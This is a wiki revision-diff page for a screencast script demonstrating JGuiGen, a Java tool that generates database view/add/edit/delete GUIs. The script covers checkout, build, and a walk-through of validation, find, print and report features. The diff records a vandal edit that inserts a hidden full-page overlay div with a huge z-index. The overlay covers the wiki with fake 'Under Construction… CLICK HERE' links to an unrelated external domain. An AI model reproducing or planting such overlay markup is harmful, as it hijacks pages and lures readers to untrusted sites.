Difference between revisions of "JGuiGenDemo Script"
From lightwiki
God-fearer (Talk | contribs) m |
|||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ekygelymib.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ekygelymib.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
Back to [[JGuiGen Demo]] | Back to [[JGuiGen Demo]] | ||
Line 10: | Line 18: | ||
# cd ~vds/downloads | # cd ~vds/downloads | ||
# hide the panel | # hide the panel | ||
− | # xview JGuiGen_Screenshot.jpg & - [http://hale.homeip.net/GuiGen/htmlhelp/elegantcrud.htm Elegant CRUD] | + | # xview JGuiGen_Screenshot.jpg & - [http://hale.homeip.net/GuiGen/htmlhelp/elegantcrud.htm Elegant CRUD] |
# maximize it | # maximize it | ||
# throw it into workspace 2 | # throw it into workspace 2 | ||
Line 22: | Line 30: | ||
# svn checkout https://svn.sourceforge.net/svnroot/jguigen/JGuiGen/trunk/ jguigen | # svn checkout https://svn.sourceforge.net/svnroot/jguigen/JGuiGen/trunk/ jguigen | ||
## Checking out of the latest JGuiGen source code | ## Checking out of the latest JGuiGen source code | ||
− | ## In case this is your first time hearing about JGuiGen ... it is all about J for Java, Gui for Graphical User Interfaces, and the Generation thereof, hence | + | ## In case this is your first time hearing about JGuiGen ... it is all about J for Java, Gui for Graphical User Interfaces, and the Generation thereof, hence "J" ... "Gui" ... "Gen" |
## Some have said that they'd rather write code that writes code than just write code. | ## Some have said that they'd rather write code that writes code than just write code. | ||
## So again what we are checking out here is code that compiles in order to generate code that compiles in order to render GUIs that allow users to do something I call ... View, add, edit, and delete from a table. | ## So again what we are checking out here is code that compiles in order to generate code that compiles in order to render GUIs that allow users to do something I call ... View, add, edit, and delete from a table. | ||
Line 47: | Line 55: | ||
## Look it found our browser ... and ... | ## Look it found our browser ... and ... | ||
## Look it found our favorite word processor, open office writer | ## Look it found our favorite word processor, open office writer | ||
− | # The help that is | + | # The help that is "here" one of the many examples of JGuiGen eating it's own dog food. |
## Simply tonnes of documentation about JGuiGen e.g. | ## Simply tonnes of documentation about JGuiGen e.g. | ||
## here is a manual and for those of you who like to RTFM | ## here is a manual and for those of you who like to RTFM | ||
Line 76: | Line 84: | ||
## right click and ... wow look at all these things you'll get ... do you want to write the code yourself to do all this? | ## right click and ... wow look at all these things you'll get ... do you want to write the code yourself to do all this? | ||
## Anyway, if we try to right click and ... | ## Anyway, if we try to right click and ... | ||
− | ### go to the | + | ### go to the "next" row in the table |
− | ### go to the | + | ### go to the "previous" row in the table |
− | ### | + | ### "Dup" this row - which means duplicate the current row with a new id number |
− | ### | + | ### "Refresh table" in the right click pop-up (not working ... oops) |
− | ### | + | ### "Add" a new row |
− | ### | + | ### "Find" another row |
− | ### | + | ### "Extra" or any of a number of other things, like |
− | ## | + | ## "Add" another row from the main menu |
− | ## | + | ## "Find" another row from the main menu |
− | ## Or | + | ## Or "Extra" another row from the main menu |
− | ## Or the | + | ## Or the "Exit" button in the upper left |
## or even this nasty X button over here | ## or even this nasty X button over here | ||
## It's going to perform a check to see if we've changed something ... web developers eat your heart out | ## It's going to perform a check to see if we've changed something ... web developers eat your heart out | ||
Line 97: | Line 105: | ||
# PRINT button that does a print screen. | # PRINT button that does a print screen. | ||
# click on one of the columns and note the sorting | # click on one of the columns and note the sorting | ||
− | # Notice that | + | # Notice that "<b>ExtRa</b>" button ... |
## This is just a simple button in the code that | ## This is just a simple button in the code that | ||
## you will be able to easily find the code for it in the java | ## you will be able to easily find the code for it in the java | ||
− | ## rename it to | + | ## rename it to "my custom report" |
## add your own functionalty to it | ## add your own functionalty to it | ||
## and look it has built in functionality underneath that you might like to use ... option 1, 2, 3 | ## and look it has built in functionality underneath that you might like to use ... option 1, 2, 3 | ||
# Find | # Find | ||
− | ## First name | + | ## First name "is equal to" Hale |
## OR | ## OR | ||
− | ## last name | + | ## last name "is like" Sing% |
## Execute | ## Execute | ||
## Find ... note it saved our most recent find critereon | ## Find ... note it saved our most recent find critereon | ||
− | ## note the | + | ## note the "Show inactive" button which toggles and ... guess what allows the user to find rows that they or someone else deleted last week, but were not really deleted of course ... just flagged that way so that you did not have to write that code again ... just use JGuiGen |
## Click Help in the Find box and talk it | ## Click Help in the Find box and talk it | ||
# Reports | # Reports | ||
− | ## 7. The GUIs are internationalized ... text, dates in other countries, symbols for money, and even the hot keys | + | ## 7. The GUIs are internationalized ... text, dates in other countries, symbols for money, and even the hot keys "y" for "yes" becomes "s" for "si senior" ... |
## Click Help in the Report tab and talk it | ## Click Help in the Report tab and talk it | ||
# Now let us move on now and generate our own gui | # Now let us move on now and generate our own gui |
Revision as of 09:52, 24 November 2010
Back to JGuiGen Demo
The demo pre-script
- ./rec.sh
- rm -rf ~vds/.java/
- cd ~vds/downloads
- rm -rf jguigen
- enter password
- cd ~vds/downloads
- hide the panel
- xview JGuiGen_Screenshot.jpg & - Elegant CRUD
- maximize it
- throw it into workspace 2
- rec -c 1 -d /dev/dsp -t wav -r 44100 - | lame -h - junk.mp3
- F8 start recording swf
The Checkout and Build
- Here we are in a virtual network computing session ... going hardcore ...
- click the terminal's workspace
- svn checkout https://svn.sourceforge.net/svnroot/jguigen/JGuiGen/trunk/ jguigen
- Checking out of the latest JGuiGen source code
- In case this is your first time hearing about JGuiGen ... it is all about J for Java, Gui for Graphical User Interfaces, and the Generation thereof, hence "J" ... "Gui" ... "Gen"
- Some have said that they'd rather write code that writes code than just write code.
- So again what we are checking out here is code that compiles in order to generate code that compiles in order to render GUIs that allow users to do something I call ... View, add, edit, and delete from a table.
- The big picture here is that we will be able to quickly generate a screen that allows users to view, add, edit, and delete entries from a table.
- file:///home/vds/downloads/jguigen/htmlhelp/features.htm
- 4. The screens generated by JGuiGen can be multi-user safe.
- 6. All code generated by JGuiGen can run from a class, from a jar, or as part of a Java Web Start application
- 8. The JPanels are set up to work with Assistive Technology. for both blind and color blind.
- we have revision ...
- Let's get down to business in JGuiGen
- cd jguigen
- ls -l - looks like a normal project folder
- here's some images ... here's a lib for supporting libraries ...
- all code here is under the Gnu General Public License ... the GPL
- unzip JGuiGenMisc.zip - these are starter files that we usually don't want other folks committing back into the source, such as configuration files that you'll need to customize for yourself when you are generating your own Graphical User Interfaces here ... and other files that you will need to ...
- time ./build.sh
- Again, what we are doing here is building some code that builds some code that builds a screen that users can have to do views, adds, edits, and deletes from a table in a database.
Two of the widgets
- Ok so lets start JGuiGen ...
- ./run.sh JGuiGen
- first we will need to tell it who we are ... let's tell it we are Hale ... one of the folks in the default config file we checked out
- Look it found our browser ... and ...
- Look it found our favorite word processor, open office writer
- The help that is "here" one of the many examples of JGuiGen eating it's own dog food.
- Simply tonnes of documentation about JGuiGen e.g.
- here is a manual and for those of you who like to RTFM
- here is a read me which shows you, for example, all of the databases suppoerted by JGuiGen
- Let's mention the different DBs by name: Oracle, SQLServer, MySQL and Postgres
- You can cuddle up with this in bed some evening
- Users
- JGuiGenDemo
- Let launch right into a full blown gui ... with all the bells and whistles, to give you an idea of what you will be able to generate when you generate your own guis using JGuiGen
- Now this is a big screen with, lots, and lots of features ... let's look at a few of them
- here are examples of most of the visual components you can add to your GUI with JGuiGen
- These components are for each of the columns in a row of the table
- Down here is a the table with all of its rows and your users can simply navigate to the row they will want to edit in your GUI and then make the changes to that row.
- change the social security number
- change the start date
- change to a different row in the table and show off the validation catch
- sort by clicking on a column
- right click and drop your jaw
- try the new stats feature on the column you just sorted
- click back in the main window and change the ssn
Some validation
- right click ... choose next
- watch validation work again
- mention the 10 or so actions which are already coded for me, and I dont have to write code for that correctly validate and make sure the users of my gui do not loose data in irritating ways
- changing rows in the table
- right click and ... wow look at all these things you'll get ... do you want to write the code yourself to do all this?
- Anyway, if we try to right click and ...
- go to the "next" row in the table
- go to the "previous" row in the table
- "Dup" this row - which means duplicate the current row with a new id number
- "Refresh table" in the right click pop-up (not working ... oops)
- "Add" a new row
- "Find" another row
- "Extra" or any of a number of other things, like
- "Add" another row from the main menu
- "Find" another row from the main menu
- Or "Extra" another row from the main menu
- Or the "Exit" button in the upper left
- or even this nasty X button over here
- It's going to perform a check to see if we've changed something ... web developers eat your heart out
- Again, this checking is something we want in our gui ... it's just not something we want to actually have to sit down and write the code to do for our gui ... JGuiGen does that for us.
- then when we finally hit save ... we mention that this is a multi user save and what we did not just see, because it looked so painless, is that JGuiGen's gui did a multi user check to see if anything had changed since the record was retrieved.
- click into one of the big text fields ... nice feature ... do not want to write the code for that.
Print, EXtra, Find, Reports, and Help
- PRINT button that does a print screen.
- click on one of the columns and note the sorting
- Notice that "<b>ExtRa</b>" button ...
- This is just a simple button in the code that
- you will be able to easily find the code for it in the java
- rename it to "my custom report"
- add your own functionalty to it
- and look it has built in functionality underneath that you might like to use ... option 1, 2, 3
- Find
- First name "is equal to" Hale
- OR
- last name "is like" Sing%
- Execute
- Find ... note it saved our most recent find critereon
- note the "Show inactive" button which toggles and ... guess what allows the user to find rows that they or someone else deleted last week, but were not really deleted of course ... just flagged that way so that you did not have to write that code again ... just use JGuiGen
- Click Help in the Find box and talk it
- Reports
- 7. The GUIs are internationalized ... text, dates in other countries, symbols for money, and even the hot keys "y" for "yes" becomes "s" for "si senior" ...
- Click Help in the Report tab and talk it
- Now let us move on now and generate our own gui
- Exit out of JGuiGenDemo
- show them the first menu where the options are for creating your own GUI
- Exit JGuiGen